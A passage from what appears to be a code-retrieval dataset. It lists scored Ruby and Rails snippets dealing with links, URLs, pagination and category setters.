"text": "def link_to_result(t, result)\n url_method = method(result.class.to_s.underscore << '_path')\n url = url_method.call(:id => result, :search_recording_id => @search_recording.full?(&:id))\n link_to(t, url)\n end",
"title": ""
},
{
"docid": "aaa3a1a1f52d4ab2f7a80a83b618bda1",
"score": "0.69371825",
"text": "def result_url\n @result\n end",
"title": ""
},
{
"docid": "3e6a102b1a3550d5f44ae38a296641ec",
"score": "0.68545735",
"text": "def href; end",
"title": ""
},
{
"docid": "5083b9ea358df106a733c733c99386fa",
"score": "0.68224543",
"text": "def home\n \t@link = params[:search].to_s \n\t\n end",
"title": ""
},
{
"docid": "fea33128071275c665aa911203c16f99",
"score": "0.6538972",
"text": "def link() url; end",
"title": ""
},
{
"docid": "fea33128071275c665aa911203c16f99",
"score": "0.6538972",
"text": "def link() url; end",
"title": ""
},
{
"docid": "cafa7e93bbb99062665e4f57649e0649",
"score": "0.6439509",
"text": "def next_page; link 'next' end",
"title": ""
},
{
"docid": "8fe718ac64e5ff36153c2a5636d658bb",
"score": "0.6417618",
"text": "def link\n\t\t\t@data['link']\n\t\tend",
"title": ""
},
{
"docid": "7ba3811e68d10ac5796c72e9660ee17a",
"score": "0.64054763",
"text": "def link\n\t\tpage_id.present? ? short_page_path(Page.find(page_id)) : href\n\tend",
"title": ""
},
{
"docid": "4c3dffdbe12d8eaa19deeb19f73c92fe",
"score": "0.6401029",
"text": "def link\n @link\n end",
"title": ""
},
{
"docid": "f5ab11a6ce223a2d4ca8505a542548d9",
"score": "0.6354736",
"text": "def link\n Html::Link.new(:href => url) << display_name\n end",
"title": ""
},
{
"docid": "5395d314b7ee45785c935ddd8ee387b6",
"score": "0.63536865",
"text": "def look_up_link(result)\n case name\n when \"IGN\" then return result.attributes[\"href\"].value\n when \"GameSpot\" then return \"http://\" + base_url + result.attributes[\"href\"].value\n when \"GiantBomb\" then return \"http://\" + base_url + result.attributes[\"href\"].value\n end\n end",
"title": ""
},
{
"docid": "722df16259a21f854a9905717ed0366c",
"score": "0.6328697",
"text": "def link_to_query(query)\n p = params.dup\n p.delete :page\n p.delete :action\n p[:q]=query\n link_url = catalog_index_path(p)\n link_to(query, link_url)\n end",
"title": ""
},
{
"docid": "1a69dda1e2bd89dc5b799cc7e2bb534c",
"score": "0.6328653",
"text": "def get_result_header_link(result)\n\t\tresult.find_element(@locs[:result_header]).find_element({css: 'a'})\n\tend",
"title": ""
},
{
"docid": "b94b1ca0e12af6933b345807d12df5cf",
"score": "0.63178974",
"text": "def collection_results_link(inst, coll)\n facet_params = search_state.add_facet_params_and_redirect(\n 'collection_titles_sms', coll.display_name\n )\n facet_params['f']['provenance_facet'] = [inst]\n search_action_path facet_params\n end",
"title": ""
},
{
"docid": "60efac8e375a5de94025af18e941c7d6",
"score": "0.6287216",
"text": "def href(format)\n view_context.url_for(\n view_context.search_state.url_for_document(document, format: format)\n )\n end",
"title": ""
},
{
"docid": "d6e81a71b1df365430686a6594933138",
"score": "0.6239661",
"text": "def index\n \t#display text and links \n end",
"title": ""
},
{
"docid": "992f0874b3f4b6eec2ace9d1fdcd26cc",
"score": "0.6226516",
"text": "def results_view\n end",
"title": ""
},
{
"docid": "7336774909ad6644f742a406447c39db",
"score": "0.6144782",
"text": "def page_link1(page, text, attributes = {})\n @template.link_to_remote(text, { \n :url => url_for(page).sub(/(\\w+)\\/[^\\?]+\\?/, \"\\\\1?\"),\n :method => :get,\n :loading => \"$('paging').show()\",\n :success => \"$('paging').hide()\"\n }.merge(@remote))\n end",
"title": ""
},
{
"docid": "3199df9f1a06690d2867c967376ff0c1",
"score": "0.6120225",
"text": "def search_ah_link(atk, health, content)\n string = \"<a href='#{@search_url}type=troop&atk=#{atk}&health=#{health}'>#{content}</a>\"\nend",
"title": ""
},
{
"docid": "6d09857b25b72dff98d12da6082d8010",
"score": "0.61185825",
"text": "def get_viewer_link(urn,access_token)\n #absolute url = request.base_url\n url = \"/viewer1.html?token=#{access_token}&urn=#{urn}\"\n link = \"<a href=\\\"#{url}\\\" target=\\\"_blank\\\">View Model</a>\"\n return link\n end",
"title": ""
},
{
"docid": "e1e81376dbdc052139e54dcb4ed524e2",
"score": "0.61049765",
"text": "def link_to_page_with_label(label)\n return (\"<a href='/chefs/\" + self.id.to_s + \"'>\" + label + \"</a>\").html_safe\n end",
"title": ""
},
{
"docid": "0fa347bd8a75e3643ab59f6e9c93ed97",
"score": "0.60786515",
"text": "def get_da_detail_page(page, da_container)\n\n tds = da_container.search('td')\n\n href = tds[0].at('a')['href']\n\n detail_page = page.link_with(:href => \"#{href}\").click\n\n \n\n return detail_page\n\nend",
"title": ""
},
{
"docid": "0fa347bd8a75e3643ab59f6e9c93ed97",
"score": "0.60786515",
"text": "def get_da_detail_page(page, da_container)\n\n tds = da_container.search('td')\n\n href = tds[0].at('a')['href']\n\n detail_page = page.link_with(:href => \"#{href}\").click\n\n \n\n return detail_page\n\nend",
"title": ""
},
{
"docid": "768817cbbbb53060803779bcd4108ba5",
"score": "0.60763335",
"text": "def special_link\n link = params[:link]\n template = nil\n \n # participation link?\n event = Event.find_by(link1: link)\n template = 'participate' if event\n \n # view results link?\n event = Event.find_by(link2: link) if !template and !event\n template = 'results' if event and !template\n \n # invalid link?\n not_found if !template\n \n # encode participants information as JSON\n if template == 'results'\n @participants = event.students.map do |student|\n {\n name: student.name,\n times: student.selected_times.map do |time|\n {\n time: time.from.to_i,\n suitable: time.suitable\n }\n end,\n show: true\n }\n end.to_json\n end\n \n # render correct template (4 possibilities)\n if event.event_type == 'lecture'\n template = 'lecture/' + template\n @lecture = event\n @timetable = AvailableTime.lecture_timetable(@lecture.available_times)\n else\n template = 'exam/' + template\n @exam = event\n @timetable = AvailableTime.exam_timetable(@exam.available_times)\n end\n \n render template\n end",
"title": ""
},
{
"docid": "656ffb529dee6d0b2b584a1ded4c0125",
"score": "0.60687464",
"text": "def link_to_document_query(doc, options={:label=>Blacklight.config[:index][:show_link].to_sym})\n label = case options[:label]\n when Symbol\n doc.get(options[:label])\n when String\n options[:label]\n else\n raise 'Invalid label argument'\n end \n if params[:f].nil? or params[:f]['worknum_s'].nil? \n link_to_unless(options[:suppress_link], label, add_facet_params_and_redirect(\"worknum_s\", doc[\"id\"])) \n else\n doc[\"worktitle_display\"]\n end\n end",
"title": ""
},
{
"docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721",
"score": "0.606854",
"text": "def page; end",
"title": ""
},
{
"docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721",
"score": "0.606854",
"text": "def page; end",
"title": ""
},
{
"docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721",
"score": "0.606854",
"text": "def page; end",
"title": ""
},
{
"docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721",
"score": "0.606854",
"text": "def page; end",
"title": ""
},
{
"docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721",
"score": "0.606854",
"text": "def page; end",
"title": ""
},
{
"docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721",
"score": "0.606854",
"text": "def page; end",
"title": ""
},
{
"docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721",
"score": "0.606854",
"text": "def page; end",
"title": ""
},
{
"docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721",
"score": "0.606854",
"text": "def page; end",
"title": ""
},
{
"docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721",
"score": "0.606854",
"text": "def page; end",
"title": ""
},
{
"docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721",
"score": "0.606854",
"text": "def page; end",
"title": ""
},
{
"docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721",
"score": "0.606854",
"text": "def page; end",
"title": ""
},
{
"docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721",
"score": "0.606854",
"text": "def page; end",
"title": ""
},
{
"docid": "4f526544ad6245f6d287e7dd02f099db",
"score": "0.60542244",
"text": "def url_for_index; end",
"title": ""
},
{
"docid": "4f526544ad6245f6d287e7dd02f099db",
"score": "0.60542244",
"text": "def url_for_index; end",
"title": ""
},
{
"docid": "f6a5f480eed6a40882acbae2973b41d8",
"score": "0.6042007",
"text": "def see_all_result\r\n see_all_result_lnk.click if has_see_all_result_lnk?\r\n end",
"title": ""
},
{
"docid": "a09bb58ca1b5c981c31126eface8c51e",
"score": "0.6031827",
"text": "def render_page_link(document, image_pid_list, book_id)\n index_of_doc = image_pid_list.index(document.id)\n page_num = document[blacklight_config.page_num_field.to_sym]\n viewer_path = \"#{book_viewer_path(book_id)}#?&cv=#{index_of_doc}\"\n viewer_path += \"&h=#{url_encode(params[:ocr_q])}\" if params[:ocr_q].present?\n link_to page_num ? \"Page #{page_num}\" : \"Image #{index_of_doc + 1}\",\n viewer_path, class: 'book_page_link', rel: 'nofollow'\n end",
"title": ""
},
{
"docid": "4b1b8f6be0673bcfccc5380408b66ba8",
"score": "0.60255915",
"text": "def link_to_query(query)\n p = params.except(:page, :action)\n p[:q]=query\n link_url = search_action_path(p)\n link_to(query, link_url)\n end",
"title": ""
},
{
"docid": "1354df41ace17b1ad1d12d4a6d157586",
"score": "0.6023989",
"text": "def to_link\n \"<a href=\\\"#{self.url}\\\">#{self.name}</a>\"\n end",
"title": ""
},
{
"docid": "0d59025662f48b0500a9a41eaea3b7d2",
"score": "0.6004178",
"text": "def link_to_access_video text = nil, results = String.new, counter = 1\n @afdoc.external_video(:h264).each do |ds|\n results << link_to((text + \" (\" + counter.to_s + \")\"), ds.datastreams[\"ACCESS1\"].label, :class => \"btn btn-inverse\")\n counter = counter + 1\n end\n return results.html_safe\n end",
"title": ""
},
{
"docid": "1fdcb22f2fc50d05691e4128d382a511",
"score": "0.60022473",
"text": "def show\n if @link\n @link.clicked!(:referrer => request.referrer)\n redirect_to @link.url\n else\n render text: \"No such link.\", status: 404\n end\n end",
"title": ""
},
{
"docid": "02e0667c615ff2f13bf701ab6ba76a5e",
"score": "0.5980212",
"text": "def click(link); end",
"title": ""
},
{
"docid": "4c0797a32fb6db6dbdb60a2d6737a99c",
"score": "0.59795",
"text": "def next_page\n @page.link_with(:text => /Next/)\n end",
"title": ""
},
{
"docid": "27147c7e4eb192e185d8d73b3addfbab",
"score": "0.5975939",
"text": "def item_link(record)\n doi_link = doi_generator(record)\n\n # Return DOI link, in one exists\n return doi_link if doi_link\n\n # Query OpenURL resolve service for results\n open_url_links = open_url_generator(record)\n if open_url_links.size.positive?\n # If there is only one result, return it\n return open_url_links[0] if open_url_links.size == 1\n\n # If there are multiple results, return a \"Citation Finder\" link\n return citation_generator(record)\n end\n\n # Default -- return link to the catalog detail page\n catalog_generator(record)\n end",
"title": ""
},
{
"docid": "c86d8880cde2f3e04ac53f4b651d22e1",
"score": "0.597075",
"text": "def index\n # display text and links\n end",
"title": ""
},
{
"docid": "792c5747253fc960fd04ff6efc18db5c",
"score": "0.5969722",
"text": "def link\n object[\"link\"]\n end",
"title": ""
},
{
"docid": "e3c3425418f5bf8d50f24f776bab404b",
"score": "0.5964192",
"text": "def links; end",
"title": ""
},
{
"docid": "e3c3425418f5bf8d50f24f776bab404b",
"score": "0.5964192",
"text": "def links; end",
"title": ""
},
{
"docid": "4329d64ef4ca90bade900a562fa8030d",
"score": "0.59519756",
"text": "def display_text_result_help result\n help_link(\"Help?\", result.help_id) \n end",
"title": ""
},
{
"docid": "8b5df166253c245715780ba0e9522e1b",
"score": "0.59466416",
"text": "def link(obj)\n return \"<a href='#{R(obj, self.id)}'>#{self.name}</a>\"\n end",
"title": ""
},
{
"docid": "4ff0a99678b462c2f58a77a3376f16db",
"score": "0.5942819",
"text": "def mrl_popup_link\n @mrl_result = MrlResult.new\n @mrl_result.farm_code = session[:new_delivery].farm_code\n @mrl_result.puc_code = session[:new_delivery].puc_code\n @mrl_result.orchard_code = session[:new_delivery].orchard_code\n @mrl_result.mrl_result_type_code = session[:new_delivery].mrl_result_type\n\n sequence_number = nil\n mrl_results_overall = MrlResult.find_by_sql(\"select * from mrl_results\")\n if mrl_results_overall != nil\n mrl_results_seq = MrlResult.find_by_sql(\"select MAX(sequence_number) AS seq_num from mrl_results\")\n sequence_number = mrl_results_seq[0].seq_num.to_i + 1\n else\n sequence_number = 1\n end\n\n @mrl_result.sample_no = session[:new_delivery].farm_code.to_s + \"/\" + session[:new_delivery].rmt_variety_code.to_s + \"/\" + sequence_number.to_s\n render :inline => %{\n <%= build_mrl_result_form(@mrl_result,'print_mrl_label_link','print mrl result',is_edit = nil,is_create_retry = nil ) %>\n }, :layout => 'content'\n end",
"title": ""
},
{
"docid": "2d0d2efa52ee79854dbb2b763d783681",
"score": "0.59371275",
"text": "def make_retrieval_link(rid, base_url = nil)\n self.class.make_retrieval_link(rid, base_url)\n end",
"title": ""
},
{
"docid": "8b279d7a88e935491a76a16e7dc1ecdd",
"score": "0.5930539",
"text": "def parse_result_page(page)\n page.search(\"div.listing div.title a\").map do |result_row|\n result_row.attribute(\"href\").value\n end\nend",
"title": ""
},
{
"docid": "8b279d7a88e935491a76a16e7dc1ecdd",
"score": "0.5930539",
"text": "def parse_result_page(page)\n page.search(\"div.listing div.title a\").map do |result_row|\n result_row.attribute(\"href\").value\n end\nend",
"title": ""
},
{
"docid": "6df6b587f99fe18cac385e9092d1f5eb",
"score": "0.59299356",
"text": "def next_page_path(response)\n response.get(\"_links.next.href\")\n end",
"title": ""
},
{
"docid": "4370c539f6408fa6ed8e58b43626d8df",
"score": "0.59286636",
"text": "def nexia_link # :doc:\n content_box.a(:text => \"nexiahome.com\")\n end",
"title": ""
},
{
"docid": "17e432e53b2b753e3d9fd2b983060ac5",
"score": "0.59203225",
"text": "def publication_link\n h.link_to \"Read Now\" , object.publication_url , title: 'Read Now' , class: 'btn waves-effect waves-light btn-primary custom-btn' , target: '_blank'\n end",
"title": ""
},
{
"docid": "58335e989010023c07fdb0596025ddd3",
"score": "0.59180874",
"text": "def bundle_search_link_url(search_params, resource_type, target_page)\n param_str = ''\n index = 0\n search_params.each do |option, search|\n param_str += \"#{index.zero? ? '?' : '&'}#{option}=#{search}\"\n index += 1\n end\n param_str += \"#{index.zero? ? '?' : '&'}page=#{target_page}\"\n \"#{root_url}fhir/r4/#{resource_type}#{param_str}\"\n end",
"title": ""
},
{
"docid": "37152cefbd4d2bcc7e5542bfc6e76a6c",
"score": "0.5902547",
"text": "def link_to_page name, page_name, options={}\n\tlink_to name, root_url+Page.find_by_name(page_name.to_s).url, options\n rescue\n\twarning(\"no such page with ID '#{page_name}'\")\n end",
"title": ""
},
{
"docid": "aab933aef3431d0d5fef6f4aa00c2cce",
"score": "0.58611816",
"text": "def html_link\n @params['links']['html']\n end",
"title": ""
},
{
"docid": "d7fe5a573e9bf6b28ea3a27633d323d5",
"score": "0.58583176",
"text": "def next_page\n string = QJ.next_string()\n url = BSU + string\n BR.goto(url)\nend",
"title": ""
},
{
"docid": "706eec6dafeadb53c25c36d1fe928aed",
"score": "0.584891",
"text": "def show\n@url=geturl(@registro)\n respond_to do |format|\n format.html\n\n end\n\n\n end",
"title": ""
},
{
"docid": "0ed26fa5bc9b9cd603c07cd4515fca44",
"score": "0.5846638",
"text": "def link\n query_root_node(\"link/text()\")\n end",
"title": ""
},
{
"docid": "27aec6fe17e808077eb79c3cffb92448",
"score": "0.5833972",
"text": "def next_page\n @links['next']\n end",
"title": ""
},
{
"docid": "3aa78fbcc5391f3fe77bba3bd3d24a6d",
"score": "0.581929",
"text": "def link uri\n self.apply_hyperlink java.net.URI.new(uri)\n end",
"title": ""
},
{
"docid": "216ba06b2211346cfd88380e00211766",
"score": "0.5818722",
"text": "def link (rel, res, opts={})\n\n id, opts = if opts.is_a?(Hash)\n [ opts.delete(:id), opts ]\n else\n [ opts, {} ]\n end\n\n href = \"/#{res}\"\n\n href = \"#{href}/#{OpenWFE.to_uscores(id)}\" if id\n\n href = \"#{href}?#{opts.collect { |k, v| \"#{k}=#{v}\" }.join('&')}\" \\\n if opts.size > 0\n\n [ href, rel ]\n end",
"title": ""
},
{
"docid": "6552845a5c1d1800d094463489997a0f",
"score": "0.58182424",
"text": "def documentation_search_pagination(result, options = {})\n String.new.tap do |s|\n unless result.first_page?\n querystring = {:query => result.query, :page => result.page - 1}.to_query\n s << link_to(t('documentation.helpers.documentation_search_pagination.previous'), \"#{documentation_doc_root}/search?#{querystring}\", :class => [options[:link_class], options[:previous_link_class]].compact.join(' '))\n end\n\n unless result.last_page?\n querystring = {:query => result.query, :page => result.page + 1}.to_query\n s << link_to(t('documentation.helpers.documentation_search_pagination.next'), \"#{documentation_doc_root}/search?#{querystring}\", :class => [options[:link_class], options[:next_link_class]].compact.join(' '))\n end\n end.html_safe\n end",
"title": ""
},
{
"docid": "a1ee58b65751974bfc84447e78bf45d7",
"score": "0.581809",
"text": "def show\n \t\tshort_url = 'http://localhost:3000/'+params[:shortened_link]\n \t\turl = Link.find_by(shortened_link: short_url)\n \t\tif url\n \t\t\toriginal_url = url.given_link\n \t\t\tredirect_to \"#{original_url}\"\n \t\telse\n \t\t\trender json: \"Not found\"\n \t\tend\n \tend",
"title": ""
},
{
"docid": "7eff0def4ca46dd8100add1519312477",
"score": "0.5817311",
"text": "def show\n\t\tshow_\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml { render :xml => @link }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "9ba6fb92f68c82091a9d36e253748d81",
"score": "0.5809617",
"text": "def redirect_to_results\n redirect_to results_path(params[:query])\n end",
"title": ""
},
{
"docid": "a01ba5b4c5e128e61cd8f31ccd2f4c42",
"score": "0.58090943",
"text": "def show_best_fulltext_link_detail(result)\n if has_pdf?(result)\n link = '<a href=\"' + show_pdf_title_link(result) + '\">PDF Full Text</a>'\n elsif has_html?(result)\n link = '<a href=\"' + show_best_fulltext_link(result) + '\" target=\"_blank\">HTML Full Text</a>'\n elsif has_smartlink?(result)\n link = '<a href=\"' + show_smartlink_title_link(result) + '\">Linked Full Text</a>'\n elsif has_fulltext_customlink?(result)\n link = best_customlink_detail(result)\n else\n link = ''\n end\n return link.html_safe\n end",
"title": ""
},
{
"docid": "d746da410f4d66f88d64e1d1863e7844",
"score": "0.5803184",
"text": "def url\n end",
"title": ""
},
{
"docid": "525ab3873c6a4d460a15bf69322d03aa",
"score": "0.57959473",
"text": "def get_link page_number, link_index\n begin\n \n if @filename == ''\n raise 'filename not specified'\n end\n \n if page_number == ''\n raise 'page number not specified'\n end\n \n if link_index == ''\n raise 'link index not specified'\n end\n \n str_uri = $product_uri + '/pdf/' + @filename + '/pages/' + page_number.to_s + '/links/' + link_index.to_s\n str_signed_uri = Aspose::Cloud::Common::Utils.sign(str_uri) \n response_stream = RestClient.get(str_signed_uri, {:accept=>'application/json'})\n \n stream_hash = JSON.parse(response_stream)\n \n return stream_hash['Link']\n \n \n rescue Exception=>e\n print e\n end\n end",
"title": ""
},
{
"docid": "8e86a811b8413594643912544a692a5f",
"score": "0.57936984",
"text": "def link_to(name, url, options = {}); end",
"title": ""
},
{
"docid": "31a9a8df9895bf07a3877651e9645367",
"score": "0.57878536",
"text": "def link\n subject_link\nend",
"title": ""
},
{
"docid": "bc0f5384b532b0ed9232ffa7162123fd",
"score": "0.5779884",
"text": "def show\n\t\t@current_link = Rlink.find(params[:id])\n\tend",
"title": ""
},
{
"docid": "bd7e84227bbed51889d0c72220166928",
"score": "0.57769483",
"text": "def next_page_link\n paging['next'] if paging\n end",
"title": ""
},
{
"docid": "604d53d41edaffcaa905f2bb56c5e05e",
"score": "0.57702446",
"text": "def link\n \"/events/#{id}\"\n end",
"title": ""
},
{
"docid": "652b0c0c4c72b1dced2292d25900d626",
"score": "0.57603425",
"text": "def page\n\n end",
"title": ""
},
{
"docid": "9412eb381900c95a648479595fa8e91c",
"score": "0.5753904",
"text": "def render_rlb_filter_link( filter, name, count, html_options = {} )\n return if count <= 0\n link = @more_results_url.dup\n link << \"?\" unless link.match(/\\?/)\n link << \"&\" unless link.match(/(\\?|\\&)$/)\n link << \"#{filter}=1\"\n \" - \" + link_to( t( name, :count => count ), link , html_options )\n end",
"title": ""
},
{
"docid": "01ab27bc3cc066f3db77b166773504c1",
"score": "0.5753235",
"text": "def href\n href = (@url || @dos).to_s.dup\n if @fragment\n href << client('#', 'UTF-8') << @fragment\n end\n href\n end",
"title": ""
},
{
"docid": "cad1b4589c0086dd960d08b78e5aba58",
"score": "0.57405555",
"text": "def next_page; end",
"title": ""
},
{
"docid": "f26d6192386504028d0b778a46e53a37",
"score": "0.57335776",
"text": "def item_link(bib)\n doi_link = doi_generator(bib)\n\n # Return DOI link, in one exists\n return doi_link if doi_link\n\n # Query OpenURL resolve service for results\n open_url_links = open_url_generator(bib)\n if open_url_links.size.positive?\n # If there is only one result, return it\n return open_url_links[0] if open_url_links.size == 1\n\n # If there are multiple results, return a \"Citation Finder\" link\n return citation_generator(bib)\n end\n\n # Default -- return link to the catalog detail page\n catalog_generator(bib)\n end",
"title": ""
},
{
"docid": "933e0e849e145d4c62ce0010671deb8a",
"score": "0.5731641",
"text": "def link\n @headers[:link]\n end",
"title": ""
},
{
"docid": "0783daf202dbee08184256cacdf8babf",
"score": "0.57303995",
"text": "def human_url\n return self.alternate_link\n end",
"title": ""
},
{
"docid": "f04d90d92ed9d1ae043c723f2c4940f1",
"score": "0.57298595",
"text": "def home #display the home page of the candidate, has options to search\n end",
"title": ""
},
{
"docid": "7b9205290e5703f1c2550233c315135a",
"score": "0.57252866",
"text": "def url\n end",
"title": ""
},
{
"docid": "5964403c648a4df6075a046621955f2c",
"score": "0.5724167",
"text": "def page_link(records, opts = {})\n uri = URI.parse(request.original_url)\n query = Rack::Utils.parse_query(uri.query)\n query['page'] = records.send(\"#{opts[:page]}_page\")\n uri.query = Rack::Utils.build_query(query)\n uri.to_s\n end",
"title": ""
},
{
"docid": "7301b83721d9e44f4ecce100f70e76e7",
"score": "0.57205015",
"text": "def entry_url(page)\n services.url_builder.url_for(page)\n end",
"title": ""
},
{
"docid": "633d70c264afe45d7937e2c3fbac82ec",
"score": "0.57148033",
"text": "def execute(m)\n query = extract_args(m)\n @links = Models::Link.search(query)\n m.reply(@links.map(&:url).join(' | '))\n end",
"title": ""
},
{
"docid": "85143268f6019ed714f5b8d67763e8ba",
"score": "0.5714477",
"text": "def title_link\n if landing_page?\n \"<a href='#{link_to_landing_page}'> #{name} </a>\"\n else\n \"<a href='#{link_to_database}'> #{name} </a>\"\n end \n end",
"title": ""
},
{
"docid": "5ea5b6f833c94a605fefb9d8c7b6fdda",
"score": "0.5711939",
"text": "def create_page_url(brand, genre, limit, order, id)\n \"/search/#{brand}/#{genre}/#{limit}/#{order}/#{id}/\"\n end",
"title": ""
},
{
"docid": "0740b6aa1fcfd5206194cca3aa668796",
"score": "0.57109654",
"text": "def url; end",
"title": ""
},
{
"docid": "0740b6aa1fcfd5206194cca3aa668796",
"score": "0.57109654",
"text": "def url; end",
"title": ""
},
{
"docid": "0740b6aa1fcfd5206194cca3aa668796",
"score": "0.57109654",
"text": "def url; end",
"title": ""
},
{
"docid": "0740b6aa1fcfd5206194cca3aa668796",
"score": "0.57109654",
"text": "def url; end",
"title": ""
}
] |
b0e3ee36b341b08dc53ca754cf6ada9d
|
Sets the categories property value. Represents the categories that an incoming message should be labeled with in order for the condition or exception to apply.
|
[
{
"docid": "c9f4db0df69988924999cf58e65e8524",
"score": "0.74572724",
"text": "def categories=(value)\n @categories = value\n end",
"title": ""
}
] |
[
{
"docid": "59f9e615ec232cc44c6f3917e90fdac2",
"score": "0.7258638",
"text": "def categories=(value)\n @categories = value\n end",
"title": ""
},
{
"docid": "bc298d4c2735bc0e8bcc23c92ee40127",
"score": "0.71693194",
"text": "def categories=(value)\n\t\t@categories = value\n\tend",
"title": ""
},
{
"docid": "bc298d4c2735bc0e8bcc23c92ee40127",
"score": "0.71693194",
"text": "def categories=(value)\n\t\t@categories = value\n\tend",
"title": ""
},
{
"docid": "bc298d4c2735bc0e8bcc23c92ee40127",
"score": "0.71693194",
"text": "def categories=(value)\n\t\t@categories = value\n\tend",
"title": ""
},
{
"docid": "f0e51b0552e1bc0df32f8af64422769a",
"score": "0.68964833",
"text": "def categories=(categories)\n @categories = categories\n end",
"title": ""
},
{
"docid": "72abbd71aee24b895052c400b704f6fe",
"score": "0.63245153",
"text": "def set_categories\n new_categories = extract_categories_from_url\n unless new_categories.nil?\n @categories = new_categories\n else\n @categories = Type::DefaultCategories\n end\n end",
"title": ""
},
{
"docid": "ee72bbcd8e266a5372ead8f0c077455a",
"score": "0.63240933",
"text": "def categories=(categories)\n end",
"title": ""
},
{
"docid": "ed58d8b9b6378991d3b4c4caf08499ab",
"score": "0.62848985",
"text": "def category=(value)\n @category = value\n end",
"title": ""
},
{
"docid": "ed58d8b9b6378991d3b4c4caf08499ab",
"score": "0.62848985",
"text": "def category=(value)\n @category = value\n end",
"title": ""
},
{
"docid": "ed58d8b9b6378991d3b4c4caf08499ab",
"score": "0.62848985",
"text": "def category=(value)\n @category = value\n end",
"title": ""
},
{
"docid": "ed58d8b9b6378991d3b4c4caf08499ab",
"score": "0.62848985",
"text": "def category=(value)\n @category = value\n end",
"title": ""
},
{
"docid": "ed58d8b9b6378991d3b4c4caf08499ab",
"score": "0.62848985",
"text": "def category=(value)\n @category = value\n end",
"title": ""
},
{
"docid": "ed58d8b9b6378991d3b4c4caf08499ab",
"score": "0.62848985",
"text": "def category=(value)\n @category = value\n end",
"title": ""
},
{
"docid": "8e1f98edd08823af012c263643792c6e",
"score": "0.6217449",
"text": "def assign_categories=(value)\n @assign_categories = value\n end",
"title": ""
},
{
"docid": "75c909600af6742c0ee41f108d9e579c",
"score": "0.587613",
"text": "def categories(*values)\n values.inject(self) { |res, val| res._categories(val) }\n end",
"title": ""
},
{
"docid": "75c909600af6742c0ee41f108d9e579c",
"score": "0.587613",
"text": "def categories(*values)\n values.inject(self) { |res, val| res._categories(val) }\n end",
"title": ""
},
{
"docid": "c8a47c540b40d2208dfc1ab91a9b5b8a",
"score": "0.5856457",
"text": "def mobile_app_categories=(value)\n @mobile_app_categories = value\n end",
"title": ""
},
{
"docid": "3e2831abd8bfa949818479d0604a6497",
"score": "0.58444285",
"text": "def set_Category(value)\n set_input(\"Category\", value)\n end",
"title": ""
},
{
"docid": "9a19e44eb70fda771d2ef62c103e0997",
"score": "0.5750516",
"text": "def category_descriptions=(value)\n @category_descriptions = value\n end",
"title": ""
},
{
"docid": "0cb0b19633edd91af1b6a18bcf2b5a05",
"score": "0.5690985",
"text": "def set_Category(value)\n set_input(\"Category\", value)\n end",
"title": ""
},
{
"docid": "0cb0b19633edd91af1b6a18bcf2b5a05",
"score": "0.5690985",
"text": "def set_Category(value)\n set_input(\"Category\", value)\n end",
"title": ""
},
{
"docid": "0cb0b19633edd91af1b6a18bcf2b5a05",
"score": "0.5690985",
"text": "def set_Category(value)\n set_input(\"Category\", value)\n end",
"title": ""
},
{
"docid": "8c2a5feb154fcb8307c600fd6f50508e",
"score": "0.5685512",
"text": "def set_category\n end",
"title": ""
},
{
"docid": "d68eb7d54ea183be231c00be14d3438f",
"score": "0.5661926",
"text": "def categories\n response[\"categories\"].map!{|category| Foursquared::Response::Category.new(client, category)} if response[\"categories\"]\n end",
"title": ""
},
{
"docid": "4115ac858a82882fa4987b5642c7af26",
"score": "0.5657699",
"text": "def categories\n add_to_query restrict_kind: 'category'\n end",
"title": ""
},
{
"docid": "759e33bf6963bf537feaed24e6313c25",
"score": "0.562966",
"text": "def categories\n @categories ||= (@doc/\"Category\").collect { |it| Element.new(it) }\n end",
"title": ""
},
{
"docid": "fac2a1016725ab42782776dcef0ab8d7",
"score": "0.56248677",
"text": "def category(value)\n @ole.Category = value\n nil\n end",
"title": ""
},
{
"docid": "fa6c03d7487feff32fe500856b2a4f71",
"score": "0.55931056",
"text": "def categories\n @categories = response[\"categories\"] || []\n @categories.map!{|category| Foursquared::Response::Category.new(client, category)}\n end",
"title": ""
},
{
"docid": "8f91083ed6ca4eb1557b705d70d00a1e",
"score": "0.55519915",
"text": "def add_categories( *categories )\n\t\t\tcategories.each do |cat|\n\t\t\t\t@categories << [cat, 0]\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "8d43d5f9ac40d3ef28c53cfe23463cd8",
"score": "0.55319715",
"text": "def category_names=(names)\n names.each do |name|\n unless name == \"\"\n category = Category.find_or_create_by(name: name)\n self.categories << category unless self.categories.include?(category)\n end\n end\n end",
"title": ""
},
{
"docid": "3c423694b148a2918bb7463471a3aecc",
"score": "0.55071056",
"text": "def category_attributes=(category_attributes) # setter\n # raise category_attributes.inspect\n category_attributes.keys.each do |key|\n categories.new(category_attributes[key])\n end\n end",
"title": ""
},
{
"docid": "ea2d0f2e7ac42c9275f7a4b585f1bd05",
"score": "0.5492041",
"text": "def initialize(categories: nil)\n super()\n @categories = categories\n end",
"title": ""
},
{
"docid": "975a1c04d4186ed0d37211f6e852e3db",
"score": "0.54709697",
"text": "def category_ids=(ids)\n self.categories.clear\n self.categories << Category.find(ids[0..-1]) rescue nil\n end",
"title": ""
},
{
"docid": "f19c851424bcd07153d3dd4918a0a868",
"score": "0.5407387",
"text": "def category_names=(list)\n list = list.is_a?(Array) ? list : list.split(',').reject(&:blank?).collect { |item| item.try(:strip) }\n delete_unused_categories(list)\n add_new_categories(list)\n end",
"title": ""
},
{
"docid": "a8cf618c16aa4d6364183ca6cc3fb0c9",
"score": "0.53805524",
"text": "def assign_categories \n if @category_names \n self.categories = @category_names.split(/\\s+/).map do |name|\n Category.find_or_create_by_name(name)\n end\n end\n end",
"title": ""
},
{
"docid": "c3dbff3c98ef732fa857291b050979e1",
"score": "0.5367855",
